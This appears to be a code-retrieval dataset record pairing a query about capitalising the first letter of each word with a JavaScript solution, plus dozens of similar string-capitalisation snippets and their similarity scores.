translatedString.substr(1);\n\n return returnString;\n}", "function firstLetter(firstWord) {\n let words = firstWord.split(\" \")\n for (let i = 0; i < words.length; i++) {\n words[i] = words[i][0].toUpperCase() + words[i].substr(1);\n }\n return words.join(\" \")\n}", "function capitalize(words) {\n return words.split(\" \").map(word => {\n return word.charAt(0).toUpperCase() + word.slice(1);\n }).join(\" \");\n}", "function toWeirdCase (string) {\n var arrOfWords = string.split(' ')\n //console.log(arr)\n //console.log(arrOfWords)\n\n var alteredArray = [];\n\n // arrOfWords.forEach((word) => {\n // var arr = word.split('')\n // for(let i = 0; i < arr.length; i++) {\n // if(i % 2 == 0) {\n // alteredArray.push(arr[i].toUpperCase())\n // } else {\n // alteredArray.push(arr[i].toLowerCase())\n // }\n // }\n // if (arrOfWords.length > 1) {\n // alteredArray.push(' ')\n // }\n // })\n\n // needed to do it this way so I could add the last condition on line 116 so there wouldnt be spaces at end\n for(let j = 0; j < arrOfWords.length; j ++) {\n var arr = arrOfWords[j].split('')\n for(let i = 0; i < arr.length; i++) {\n if(i % 2 == 0) {\n alteredArray.push(arr[i].toUpperCase())\n } else {\n alteredArray.push(arr[i].toLowerCase())\n }\n }\n if (arrOfWords.length > 1 && j < (arrOfWords.length - 1)) {\n alteredArray.push(' ')\n }\n }\n\n var finalString = alteredArray.join('')\n \n //console.log(finalString)\n\n return finalString;\n\n\n //ALL ATTEMPTS\n\n // for(let i = 0; i < arr.length; i++) {\n // var fakeIndex;\n // // if we're on the first one, or the last position wasnt a space, continue as normal\n // if(i == 0 || (arr[i-1] !== ' ')) {\n // if(i % 2 == 0) {\n // alteredArray.push(arr[i].toUpperCase())\n // } else {\n // alteredArray.push(arr[i].toLowerCase())\n // }\n // // if the last position was a space, and the current index is EVEN\n // } else if (arr[i - 1] == ' ' && i % 2 == 0) {\n // //if(i % 2 == 0) {\n // alteredArray.push(arr[i].toUpperCase())\n // //} else {\n // // alteredArray.push(arr[i].toLowerCase())\n // //}\n // } else if (arr[i - 1] == ' ' && i % 2 !== 0) {\n // fakeIndex = 2\n // if(fakeIndex % 2 == 0) {\n // alteredArray.push(arr[i].toUpperCase())\n // }\n // }\n\n // //console.log(i)\n // // var index = i\n // // if (arr[i] == ' ') {\n // // // want index to = something NOT even\n // // //index = 1\n // // // also want to make sure the index after the space IS even\n\n // // if(index % 2 == 0) {\n // // alteredArray.push(arr[index].toUpperCase())\n // // } else {\n // // alteredArray.push(arr[index].toLowerCase())\n // // }\n // // } \n \n // // else if (index % 2 == 0) {\n // // alteredArray.push(arr[i].toUpperCase())\n // // } else {\n // // alteredArray.push(arr[i].toLowerCase())\n // // }\n\n // // 4 lines below are what I originally had that makes function work with single word strings\n // // if(index % 2 == 0) {\n // // alteredArray.push(arr[index].toUpperCase())\n // // } else {\n // // alteredArray.push(arr[index].toLowerCase())\n // // }\n\n\n // // if its not a space, execute the block below\n // // if(index % 2 == 0) {\n // // alteredArray.push(arr[index].toUpperCase())\n // // } else {\n // // alteredArray.push(arr[index].toLowerCase())\n // // }\n\n // // if it is a space\n // // \n\n // // if its a space, and its odd were fine (next index will be even anyways)\n // // if (arr[i] == ' ' && ((arr[i] % 2) !== 0)) {\n // // // want index to = something NOT even\n // // //index = 1\n // // // also want to make sure the index after the space IS even\n\n // // if(index % 2 == 0) {\n // // alteredArray.push(arr[index].toUpperCase())\n // // } else {\n // // alteredArray.push(arr[index].toLowerCase())\n // // }\n // // } \n // // if its a space, and the index is EVEN, we want to make sure the next index is EVEN again somehow\n \n // }\n \n // //console.log(alteredArray)\n // var finalString = alteredArray.join('')\n // console.log(finalString)\n // return finalString;\n\n // END OF ATTEMPTS\n}", "function capitalizeAll(sentence){\n // since the string is what we need to convert, we use an array.\n var sentenceArray = sentence.split(\" \");\n\n for (var i = 0; i < sentenceArray.length; i++) {\n\n var wordArray = sentenceArray[i].split(\"\");\n\n var capitalizedLetter = wordArray[0].toUpperCase();\n\n wordArray[0] = capitalizedLetter;\n\n var joinedWord = wordArray.join(\"\");\n\n sentenceArray[i] = joinedWord;\n\n }\n var joinedSentence = sentenceArray.join(\" \")\n return joinedSentence;\n}", "function LetterCapitalize(str) {\n \"use strict\";\n // code goes here \n var strArray = str.split(\" \"); //take my string and separate it into an array of strings (strArray) using the .split method.\n var newString = \"\";\n for (var i = 0; i < strArray.length; i++) {\n var newWord = strArray[i].substr(0, 1).toUpperCase() + strArray[i].substr(1, strArray.length);\n newString = newString + \" \" + newWord;\n //alert(newString);\n }\n\n return newString;\n\n}", "function jadenCase(string) {\n let array = string.split(\" \");\n\n for (let i = 0; i < array.length; i++) {\n let word = array[i].split('');\n word[0] = word[0].toUpperCase();\n array[i] = word.join('');\n\n }\n\n return array.join(' ');\n}", "function capsSentence(text) {\n let wordsArray = text.toLowerCase().split(\" \");\n\n let capsArray = wordsArray.map((word) => {\n return word.replace(word[0], word[0].toUppercase());\n //We replace the first letter of each word (word[0]) with an uppercase version of the same letter using word.[0].toUppercase as the second parameter of the .replace() method.\n });\n\n return capsArray.join(\" \");\n}", "function uppercase(str){\r\n var array1 = str.split(' ');\r\n var newarray1 = [];\r\n for(var x = 0; x < array1.length; x++){\r\n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1));\r\n }\r\n return newarray1.join(' ');\r\n}", "function titleCase(str) {\n //put each word in array\n let lowerCase = str.toLowerCase().split(' ');\n //capitalize each word in array\n let capitalized = lowerCase.map(function(value) {\n return value.substring(0,1).toUpperCase() + value.substring(1);\n });\n //convert array back to string\n return capitalized.join(' ');\n \n}", "function capitalize(str) {\n var words = str[0].toUpperCase();\n\n for(let index=1; index< str.length; index++){\n letter = str[index];\n if(str[index-1]===\" \"){\n letter = str[index].toUpperCase();\n }\n words +=letter;\n }\n return words;\n}", "function capitaliseFirstLetters(str) {\r\n var splitStr = str.toLowerCase().split(' ');\r\n for (var i = 0; i < splitStr.length; i++) {\r\n // Assign it back to the array\r\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1);\r\n }\r\n // Directly return the joined string\r\n return splitStr.join(' ');\r\n}", "function capitalize(str) {\n const words = [];\n\n for (let word of str.split(' ')) {\n words.push(word[0].toUpperCase() + word.slice(1));\n }\n\n return words.join(' ');\n}", "function jadenCase(s) {\n let arr = s.toLowerCase().split(' ');\n\n for (let i = 0; i < arr.length; i++) {\n let word = arr[i].split(\"\");\n word[0] = word[0].toUpperCase();\n arr[i] = word.join(\"\");\n }\n return arr.join(\" \");\n}", "function upperFirst(str) {\n let splitStr = str.toLowerCase().split(' ');\n for (let i = 0; i < splitStr.length; i++) {\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1); \n }\n return splitStr.join(' '); \n }", "function titleCase(str) {\n //The map() method creates a new array with the results of calling a provided function on every element in the calling array.\n return str.toLowerCase().split(\" \").map(function(word) {\n //The replace() method returns a new string with some or all matches of a pattern replaced by a replacement.\n return word.replace(word[0], word[0].toUpperCase());\n}).join(\" \");\n }", "function capitalizeFish(arr){\n var output= [];\n for(var i=0; i<arr.length; i++){\n var words = arr[i].split(' ')\n for(var i=0; i<words.length; i++){\n var string = ' ';\n string += words[i][0].toUpperCase() + ' ' \n output.push(string)\n }\n }\n return output;\n}", "function capitalizeFirst(input) {\n return input\n .split(\" \")\n .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n .join(\" \");\n}", "static capitalize(word){\n let arr;\n arr = word.split(\"\")\n arr[0] = arr[0].toUpperCase()\n return arr.join(\"\")\n }", "function uppercase(str)\n{\n var array1 = str.split(' ');\n var newarray1 = [];\n \n for(var x = 0; x < array1.length; x++){\n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1));\n }\n return newarray1.join(' ');\n}", "function uppercase(str)\n{\n var array1 = str.split(' ');\n var newarray1 = [];\n \n for(var x = 0; x < array1.length; x++){\n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1));\n }\n return newarray1.join(' ');\n}", "function capitalizeWords(sentence) {\n var sentenceArr = sentence.split(' ');\n var result = [];\n sentenceArr.forEach(function(word) {\n result.push(word[0].toUpperCase() + word.slice(1));\n })\n return result.join(' ');\n}", "function titleCase(str) {\n //convert string to lowercase, then split into an array\n var stringArray = str.toLowerCase().split(\" \");\n //set helper variables\n var word = \"\";\n var firstLetter = \"\";\n var restOfWord = \"\";\n var newWord = \"\";\n var wordLen = 0;\n var tempStr = \"\";\n var newStr = \"\";\n\n for(i = 0; i<stringArray.length; i++){\n // Get each word out of the array\n word = stringArray[i];\n // Get the word length\n wordLen = word.length;\n // Get the first letter of the word & convert to UC\n firstLetter = word.charAt(0).toUpperCase();\n // Get the rest of the word\n restOfWord = word.slice(1, wordLen);\n // New word = first letter + remainder of word\n newWord = firstLetter + restOfWord;\n // Replace array entry with new word\n stringArray[i] = newWord;\n }\n // Covert array to a string\n tempStr = stringArray.toString();\n // Use regex to replace all commas with spaces & return new string\n newStr = tempStr.replace(/,/g , \" \");\n return newStr;\n}", "function capitalize(str) {\n const array = str.split(' ');\n array.forEach((word, index) => array[index] = word[0].toUpperCase() + word.substr(1));\n return array.join(' ');\n}", "function titleCase(str) {\n // Mutating str (oh no!) to an array of lowercase words using split() by a space \n str = str.toLowerCase().split(' ');\n // Iterating through str\n for (var i = 0; i < str.length; i++){\n // capitalLetter is first letter of current word -> made uppercase \n capitalLetter = str[i].charAt(0).toUpperCase();\n // replacing the first letter in current word with capitalLetter\n str[i] = str[i].replace(/[a-z]/, capitalLetter);\n }\n // str = str array joined into a single string\n str = str.join('');\n return str;\n }", "function capSentence(text) {\n let wordsArray = text.toLowerCase().split(\" \");\n let capsArray = wordsArray.map((word) => {\n //We use .map() function to loop through every word in the array and execute the same function as before to create capsArray.\n return word[o].toUpperCase() + word.slice(1);\n });\n\n return capsArray.join(\" \");\n}", "function capitalize(str) {\n\n const capWords = [];\n\n let strArray = str.split(' ');\n\n strArray.forEach((word, i) => {\n let upperLetter = strArray[i][0].toUpperCase() + word.slice(1)\n capWords.push(upperLetter)\n\n })\n\n return capWords.join(' ');\n}", "function titleCase(str) {\n var arrayOfStrings = str.split(' ');\n //Splits one string into an array separated by spaces\n for(var i = 0; i < arrayOfStrings.length; i++) {\n var placeholder = arrayOfStrings[i];\n //Placeholder for original string\n var upperLetter = placeholder.charAt(0).toUpperCase();\n //Selects first letter and uppercases it\n placeholder = placeholder.slice(1, placeholder.length).toLowerCase();\n //Selects 2nd letter to end of the word and lowercases it\n arrayOfStrings[i] = upperLetter.concat(placeholder);\n //Concats uppercase letter with rest of lowercase word\n }\n\n str = arrayOfStrings.join(' ');\n //Takes array and sets str to a single string\n return str;\n}", "function capitalize(str) {\n const words = [];\n\n for (let word of str.split(\" \")) {\n words.push(word[0].toUpperCase() + word.slice(1));\n }\n return words.join(\" \");\n}", "function acronyms(string) {\n var wordArray = string.toUpperCase().split(\" \");\n string = \"\";\n for (var i = 0; i < wordArray.length; i++) {\n if (wordArray[i] != \"\") {\n string += wordArray[i][0];\n }\n }\n return string;\n}", "function camelCase(input) {\n const arrayOfStrings = input.split(\" \");\n const arrayOfArrays = [];\n for (const string of arrayOfStrings) {\n const stringArray = string.split(\"\");\n arrayOfArrays.push(stringArray);\n }\n for (let i = 1; i <= arrayOfArrays.length - 1; i++) {\n arrayOfArrays[i][0] = arrayOfArrays[i][0].toUpperCase();\n }\n const outputArray = [];\n for (const stringArray of arrayOfArrays) {\n const string = stringArray.join(\"\");\n outputArray.push(string);\n }\n return outputArray.join(\"\");\n}", "function capitalize(str) {\n\tconst words = [];\n\n\tfor (let word of str.split(' ')){\n\t\twords.push(word[0].toUpperCase() + word.slice(1));\n\t}\n\n\treturn words.join(' ');\n}", "function titleCase(word) {\n var splitStr = word.toLowerCase().split(\"the quick brown fox\");\n \n for (var i = 0; i < splitStr.length; i++) {\n if (splitStr.length[i] < splitStr.length) {\n splitStr[i].charAt(0).toUpperCase();\n }\n document.write(splitStr)\n }\n \n return word;\n }", "function capitalize(str) {\n const words = [];\n\n for (let word of str.split(' ')) {\n words.push(word[0].toUpperCase() + word.slice(1));\n }\n\n return words.join(' ');\n}", "function titleCase(str) {\n return str.split(/\\s+/).map(function(word) {\n return word[0].toUpperCase() + word.slice(1).toLowerCase();\n }).join(\" \");\n}", "function capitalizeWords (array) {\n if (array.length === 1) {\n return [array[0].toUpperCase()];\n }\n let res = capitalizeWords(array.slice(0, -1));\n res.push(array.slice(array.length-1)[0].toUpperCase());\n return res;\n \n }", "function change_case(words) {\n let string = \"\";\n for (let i = 0; i < words.length; i++) {\n if (/[A-Z]/.test(words[i])) string += words[i].toLowerCase();\n else string += words[i].toUpperCase();\n }\n return string;\n}", "function capitalizedWords(arr) {\n let newArr = [];\n\n if (arr.length === 1) return arr[0].toUpperCase();\n\n newArr.push(arr[0].toUpperCase());\n\n newArr = newArr.concat(capitalizedWords(arr.slice(1)));\n\n return newArr;\n}", "function capitalizeAllWords(words){\n return words.replace(/\\w\\S*/g, function(txt){return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();});\n}" ]
[ "0.80138075", "0.80074114", "0.79218084", "0.78618616", "0.78290814", "0.7795414", "0.7789519", "0.7781375", "0.7768428", "0.7756707", "0.77491915", "0.7745036", "0.773271", "0.7730715", "0.76978", "0.76471746", "0.75946057", "0.7592545", "0.7591116", "0.75908625", "0.75865406", "0.7579196", "0.7551622", "0.7551232", "0.7546143", "0.7534314", "0.7476689", "0.74695635", "0.7468986", "0.74679565", "0.74512714", "0.744518", "0.7432789", "0.74188024", "0.74186903", "0.74145555", "0.7409183", "0.74012905", "0.7400593", "0.7391667", "0.7387567", "0.7383683", "0.73582673", "0.7350474", "0.7341983", "0.73405886", "0.73347443", "0.7334698", "0.7333046", "0.73231006", "0.7313324", "0.7305349", "0.72715014", "0.7268003", "0.7265715", "0.72636765", "0.725466", "0.7248678", "0.7240703", "0.7235207", "0.72270525", "0.7226145", "0.72233015", "0.72203016", "0.722025", "0.71998256", "0.71910506", "0.71717554", "0.71714044", "0.7168564", "0.7165757", "0.71645254", "0.71508473", "0.7143103", "0.71430135", "0.7141827", "0.71325535", "0.7131436", "0.7131072", "0.7130178", "0.711842", "0.711842", "0.71041054", "0.7091003", "0.7089892", "0.7075588", "0.7068997", "0.7062114", "0.7059087", "0.70571697", "0.7054154", "0.7048377", "0.704512", "0.70373255", "0.7033795", "0.70299387", "0.70272994", "0.7008527", "0.7007025", "0.7000432" ]
0.7618145
16
create the result which is the first characters of the input string capitalized. for each character in string. > if the character to the left is space. > capitalize it and add it to the result. >else > add it to the result.
function capitalize2(str) { let result = str[0].toUpperCase(); for (let i = 1; i < str.length; i++) { if (str[i - 1] === ' ') { result += str[i].toUpperCase(); } else { result += str[i]; } } return result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function capitalize(str) { // Check out notes' point 2, the weakness of this solution\n // Create 'result' which is the first character of the input string capitalized\n let result = str[0].toUpperCase(); \n\n // For each character in the string\n for (let i = 1; i < str.length; i++) {\n // IF the character to the left a space\n if (str[i-1] === ' ') {\n // Capitalize it and add it to 'result'\n result += str[i].toUpperCase();\n } else { // ELSE\n // Add it to 'result'\n result += str[i];\n }\n }\n\n return result;\n}", "function Capitaliser(input) {\n const eachWord = input.split(\" \");\n for (let index = 0; index < eachWord.length; index++) {\n eachWord[index] = eachWord[index][0].toUpperCase() + eachWord[index].substr(1);\n }\n return eachWord.join(\" \");\n}", "function capitalize (str) {\n // trick is first capitalize the first letter\n let result = str[0].toUpperCase()\n\n // iterate through string using for loop and check the conditions\n for (let i = 1; i < str.length; i++) {\n // if the left of the char of the str is space cap the current letter of iteration\n if (str[i - 1] === '') {\n result += str[i].toUpperCase()\n // else add it the natural flow\n } else {\n result += str[i]\n }\n }\n\n // finally return the results;\n return result\n}", "function LetterCapitalize(str) { \n var result = \"\";\n var lastLetter = \" \";\n \n // loop through each letter\n for (var i = 0; i < str.length; i++) {\n // if first letter or if last letter was a space, add capitalized letter to result\n if (lastLetter === \" \") {\n result += str[i].toUpperCase();\n }\n // else add current letter to result\n else {\n result += str[i];\n }\n \n // set lastLetter to current letter for next loop run\n lastLetter = str[i];\n }\n\n return result; \n}", "function firstLetterCapital(str){\n str = str.toLowerCase().split(' ');\n\n for (var i = 0; i < str.length; i++) {\n\n str[i] = str[i].charAt(0).toUpperCase() + str[i].slice(1);\n }\n\n return str.join(' ');\n}", "function capital(str) \r\n{\r\n str = str.split(\" \");\r\n\r\n for (var i = 0, x = str.length; i < x; i++) {\r\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\r\n }\r\n\r\n return str.join(\" \");\r\n}", "function upperFirst(str) {\n let splitStr = str.toLowerCase().split(' ');\n for (let i = 0; i < splitStr.length; i++) {\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1); \n }\n return splitStr.join(' '); \n }", "function capitaliseFirstLetters(str) {\r\n var splitStr = str.toLowerCase().split(' ');\r\n for (var i = 0; i < splitStr.length; i++) {\r\n // Assign it back to the array\r\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1);\r\n }\r\n // Directly return the joined string\r\n return splitStr.join(' ');\r\n}", "function capitalize(string) {\n // capitalize first letter\n // capitalize a letter with a SPACE to its left\n let str=string[0].toUpperCase();\n for(i=1;i<string.length;i++){\n if(string[i-1]===' '){\n str+=string[i].toUpperCase();\n }else{\n str+=string[i];\n }\n }\n return str;\n}", "function f(str) {\n let split = str.split('');\n let cap = [];\n cap.push(str.charAt(0).toUpperCase());\n for (l = 1; l < str.length; l++) {\n cap.push(split[l].toLowerCase());\n }\n return(cap.join(''));\n}", "function capitalie(str){\n\treturn str.charAt(0).toUpperCase() + str.slice(1);\n\n}", "function LetterCapitalize(str) {\n var strArr = str.split(\" \");\n var newArr = [];\n\n for(var i = 0 ; i < strArr.length ; i++ ){\n\n var FirstLetter = strArr[i].charAt(0).toUpperCase();\n var restOfWord = strArr[i].slice(1);\n\n newArr[i] = FirstLetter + restOfWord;\n\n }\n\n return newArr.join(' ');\n\n}", "function LetterCapitalize(str) {\n var splitString = str.split(' ');\n // console.log(splitString)\n for (var i = 0; i < splitString.length; i++) {\n splitString[i] = splitString[i].charAt(0).toUpperCase() + splitString[i].substring(1);\n // console.log(splitString)\n } \n return splitString.join(' ');\n}", "function capitalizeFirstLetters(input) {\n array = input.split(' ');\n newArray = [];\n for (let i = 0; i < array.length; i++) {\n if (array[i].length > 0) {\n newArray.push(array[i][0].toUpperCase() + array[i].slice(1));\n } else {\n newArray;\n }\n }\n return newArray.join(' ');\n}", "function capitalizeString(input) {\n capitalLetters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n smallLetters = 'abcdefghijklmnopqrstuvwxyz';\n var capitalizedString = '';\n if (indexOf(smallLetters, input[0]) != -1) {\n capitalizedString += capitalLetters[indexOf(smallLetters, input[0])];\n }\n else {\n capitalizedString += input[0];\n }\n for (var i = 1; i < input.length; i++) {\n var indexInCapital = indexOf(capitalLetters, input[i]);\n if (indexInCapital != -1) {\n capitalizedString += smallLetters[indexInCapital];\n }\n else {\n capitalizedString += input[i];\n }\n }\n return capitalizedString;\n}", "function capitalize2(str) {\n let result = str[0].toUpperCase();\n // let letters = str.split(' ');\n for (let i = 1; i < str.length; i++) {\n if (str[i - 1] === '') {\n result += str[i].toUpperCase();\n } else {\n result += str[i];\n }\n }\n return result;\n}", "function capitalize(str)\n{\n //return str.charAt(0).toUpperCase() + str.slice(1);\n var pieces = str.split(' ');\n for (var i = 0; i < pieces.length; i++) {\n var j = pieces[i].charAt(0).toUpperCase();\n pieces[i] = j + pieces[i].substr(1);\n }\n return pieces.join(' ');\n}", "function capital_letter(str) {\n str = str.split(\" \");\n for (var i = 0, x = str.length; i < x; i++) {\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\n }\n\n return str.join(\" \");\n}", "function applyCapitalLetter(str){\r\n \r\n var arr = str.split(\" \");\r\n for (var i=0; i < arr.length; i++){\r\n arr[i] = arr[i].replace(arr[i][0], arr[i][0].toUpperCase()); \r\n }\r\n return arr.join(\" \");\r\n}", "function capitalizeFirst(input) {\n return input\n .split(\" \")\n .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n .join(\" \");\n}", "function capitalWord(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n //function to make input value to have capital as it is inputed\n}", "function LetterCapitalize(str) { \n return str\n .split(' ')\n .map(word => word.charAt(0).toUpperCase() + word.slice(1))\n .join(' ');\n}", "function capitalizeFirstLetter(str) {\n let strS=str.split(\" \");\n let strMap= strS.map((a)=>a.slice(0,1).toUpperCase()+a.slice(1));\n return strMap.join()\n}", "function capitalize(string) {\n let result = string[0].toUpperCase();\n for(let i = 1; i < string.length; i++) {\n if(string[i - 1] == \" \") {\n result += string[i].toUpperCase();\n }\n else {\n result += string[i];\n }\n }\n return result;\n}", "function LetterCapitalize(str) {\n\nlet words = str.split(' ')\n\nfor ( i = 0 ; i < words.length ; i++) {\n\n words[i] = words[i].substring(0,1).toUpperCase() + words[i].substring(1)\n\n}\n\nwords = words.join(' ')\nreturn words\n\n}", "function capitalizeLetters(str) {\r\n\r\n let strArr = str.toLowerCase().split(' '); //lowercase all the words and store it in an array.\r\n console.log(\"outside: \" + strArr); //Testing use for checking\r\n //iterate through the array\r\n //Add the first letter of each word from the array with the rest of the letter following each word\r\n //Ex) L + ove = Love;\r\n for(let i = 0; i < strArr.length; i++){\r\n strArr[i] = strArr[i].substring(0, 1).toUpperCase() + strArr[i].substring(1);\r\n }\r\n return strArr.join(\" \"); //put the string back together.\r\n\r\n // const upper = str.charAt(0).toUpperCase() + str.substring(1);\r\n // return upper;\r\n}", "static capitalize(string){\n let array = string.split(\"\")\n array[0] = string[0].toUpperCase()\n return array.join(\"\")\n }", "function capitalizeWord(string) {\n str1 = string.charAt(0);\n str1 = str1.toUpperCase();\n for (var i = 1; i < string.length; i++)\n {\n str1 += string[i];\n }\n return str1;\n}", "function letterCapitalize(str) {\n str = str.split(\" \");\n\n for (var i = 0, x = str.length; i < x; i++) {\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\n }\n return str.join(\" \");\n}", "function letterCapitalize(str)\n{\n var array1 = str.split(' ');\n var newarray1 = [];\n\n for(var x = 0; x < array1.length; x++){\n newarray1.push(array1[x].charAt(0).toUpperCase()+array1[x].slice(1));\n }\n return newarray1.join(' ');\n}", "function LetterCapitalize(str) { \n let words = str.split(' ');\n for (let i = 0; i < words.length; i++) {\n let word = words[i][0].toUpperCase() + words[i].slice(1);\n words[i] = word;\n }\n return words.join(' ');\n}", "static capitalize(inputString) {\n return inputString.charAt(0).toUpperCase() + inputString.slice(1)\n }", "function capitalize(input) {\n var CapitalizeWords = input[0].toUpperCase();\n for (var i = 1; i <= input.length - 1; i++) {\n let currentCharacter,\n previousCharacter = input[i - 1];\n if (previousCharacter && previousCharacter == ' ') {\n currentCharacter = input[i].toUpperCase();\n } else {\n currentCharacter = input[i];\n }\n CapitalizeWords = CapitalizeWords + currentCharacter;\n }\n return CapitalizeWords;\n}", "function capitalize(str) {\n let result = str[0].toUpperCase();\n\n for (let i = 1; i < str.length; i++) {\n if (str[i - 1] == ' ') {\n result += str[i].toUpperCase();\n } else {\n result += str[i]\n }\n }\n return result;\n}", "function capitalizeLetters(str) {\n// const strArr = str.toLowerCase().split(' ');\n\n// for(let i = 0; i< strArr.length; i++){\n// strArr[i] = strArr[i].substr(0,1).toUpperCase() + strArr[i].substr(1);\n// }\n\n// return strArr.join(' ');\n\n///////////////////////////////////////////////////////////\n\n return str\n .toLowerCase()\n .split(' ')\n .map(word => word[0].toUpperCase() + word.substr(1))\n .join(' ');\n}", "function capitaliseFirstLetter(string){\n\t\t\tvar newstring = string.toLowerCase();\n\t\t\treturn newstring.charAt(0).toUpperCase() + newstring.slice(1);\n\t\t}", "function capitolFirstLetter(string) \n{\n return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();\n}", "function LetterCapitalize(str) {\n // First, we use the split method to divide the input string into an array of individual words\n // Note that we pass a string consisting of a single space into the method to \"split\" the string at each space\n str = str.split(\" \");\n\n // Next, we loop through each item in our new array...\n for (i = 0; i < str.length; i++) {\n // ...and set each word in the array to be equal to the first letter of the word (str[i][0]) capitalized using the toUpperCase method.\n // along with a substring of the remainder of the word (passing only 1 arg into the substr method means that you start at that index and go until the end of the string)\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\n }\n // Finally, we join our array back together...\n str = str.join(\" \");\n\n // ...and return our answer.\n return str;\n}", "function capitalizeFirstLetter(inputString) {\n\n let newString = inputString.charAt(0).toUpperCase() + inputString.slice(1);\n\n return newString;\n \n}", "function firstLetterCap(string){\n return result = string.charAt(0).toUpperCase() + string.slice(1);\n}", "function capitaliseFirstLetter(string) {\n var pieces = string.split(\"\");\n pieces[0] = pieces[0].toUpperCase();\n return pieces.join(\"\");\n}", "function capitalize(string) {\n var splitStr = string.toLowerCase().split(' ');\n for (var i = 0; i < splitStr.length; i++) {\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1);\n }\n return splitStr.join(' ');\n}", "function capitaliseFirstLetter(string)\n{\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "function capitaliseFirstLetter(string)\n{\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "function capitaliseFirstLetter(string)\n{\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "function LetterCapitalize(str) {\n str = str.toLowerCase().split(' ');\n for (let i = 0; i < str.length; i++) {\n str[i] = str[i].charAt(0).toUpperCase() + str[i].slice(1);\n }\n return str.join(' ');\n}", "function capitalize(str) {\n let result = str[0].toUpperCase();\n\n for (let i = 1; i < str.length; i++) {\n if (str[i-1] === ' ') {\n result += str[i].toUpperCase();\n } else {\n result += str[i];\n }\n }\n return result;\n}", "function firstLetterCapitalized (word){//function that capitalizes first letter of one word\n var letterOne = word.substring(0,1)//finds first letter\n var capitalizedLetter = letterOne.toUpperCase()//to upper case\n return capitalizedLetter + word.substring(1)//concatenates capitalized first letter and rest of word\n}", "function capitalize(str) {\n let result = str.charAt(0).toUpperCase();\n for(let i = 1; i <str.length; i++){\n if(str.charAt(i-1)===' '){\n result = result + str.charAt(i).toUpperCase();\n }\n else{result = result + str.charAt(i);}\n }\n return result;\n}", "static capitalizeFirstLetter(string){\n return string.charAt(0).toUpperCase() + string.substring(1)\n }", "function capitalize(str) {\n var words = str[0].toUpperCase();\n\n for(let index=1; index< str.length; index++){\n letter = str[index];\n if(str[index-1]===\" \"){\n letter = str[index].toUpperCase();\n }\n words +=letter;\n }\n return words;\n}", "function firstLetter(sentence) {\n let text = sentence.split(' ');\n for (let i = 0; i < text.length; i++) {\n text[i] = text[i].charAt(0).toUpperCase() + text[i].substr(1);\n //console.log(text[i].charAt(0));\n }\n return text.join(' ');\n}", "function Capitalize(str){\n\tvar arr = str.split(\"\");\n\n\tfor(var i= 0;i< arr.length; i++){\n\t\tif(i === 0 ){\n\t\t\tarr[i] = arr[i].toUpperCase();\n\t\t} \n\t}\n\treturn arr.join(\"\"); \n\n}", "function capitalize(str) {\n str = str.trim().toLowerCase(); // remove extra whitespace and change all letters to lower case\n var words = str.split(' ') // split string into array of individual words\n str = ''; // clear string variable since all the words are saved in an array\n // this loop takes each word in the array and capitalizes the first letter then adds each word to the new string with a space following \n for (i = 0; i < words.length; i++) {\n var foo = words[i];\n foo = foo.charAt(0).toUpperCase() + foo.slice(1);\n str += foo + \" \";\n }\n return str.trim(); // return the new string with the last space removed\n}", "static capitalize(str) {\n let arr = str.split(\"\")\n let a = arr.splice(0,1)\n let cap = a[0].toUpperCase()\n arr.splice(0, 0, cap)\n return arr.join(\"\")\n }", "function capitalize(str) {\n let result = str[0].toUpperCase();\n\n for (let i = 1; i < str.length; i++) {\n if (str[i - 1] === \" \") {\n result += str[i].toUpperCase();\n } else {\n result += str[i];\n }\n }\n\n return result;\n}", "function capitalizeWord(string) {\n //I-string of one word\n //O- return the word with first letter in caps\n //C-\n //E-\n let array = string.split(\"\")\n array[0] = array[0].toUpperCase()\n string = array.join(\"\")\n return string\n}", "function capitalFirst(string) {\n for (i = 0; i < string.length; i++) {\n string1 = string.toLowerCase();\n }\n return string.charAt(0).toUpperCase() + string1.slice(1);\n}", "function capitalize(str) {\n \n function nowCapitalize(string){\n var result = '';\n for(i in string){\n if(i==0){\n result+=string[i].toUpperCase();\n } else{\n result += string[i];\n }\n }\n return result;\n }\n return str.replace(/\\s+/g,' ').split(\" \").map(x=>nowCapitalize(x)).join(' ');\n\n \n}", "function capitalize(s){\n return s.split('').reduce((acc, curr, i) => {\n if (i % 2 === 0){\n acc[0] += curr.toUpperCase()\n acc[1] += curr\n } else {\n acc[1] += curr.toUpperCase()\n acc[0] += curr \n }\n return acc\n }, [\"\",\"\"])\n}", "function capitalize(input) {\n return input.replace(input.charAt(0), input.charAt(0).toUpperCase());\n}", "function capitalize(str) {}", "function capitalizeLetters(str)\n{\n let endResult = str;\n let splitted = endResult.split(\" \");\n\n for(let i = 0; i < splitted.length; i++)\n {\n let char = splitted[i].charAt(0);\n splitted[i] = char.toUpperCase() + splitted[i].substr(1);\n }\n\n endResult = splitted.join(\" \");\n return endResult;\n}", "static capitalize(str){\n return str.charAt(0).toUpperCase() + str.substring(1);\n }", "function capitalizeWord(string){\n var firstLetter = string.charAt(0); // takes first letter\n var goodString = firstLetter.toUpperCase() + string.slice(1); //capitalize and reattach\n return goodString;\n}", "function capitalizeFirstLetter(input) {\n return input.charAt(0).toUpperCase() + input.slice(1);\n}", "function capitalize(){\nvar string=\"js string exercises\"\nvar 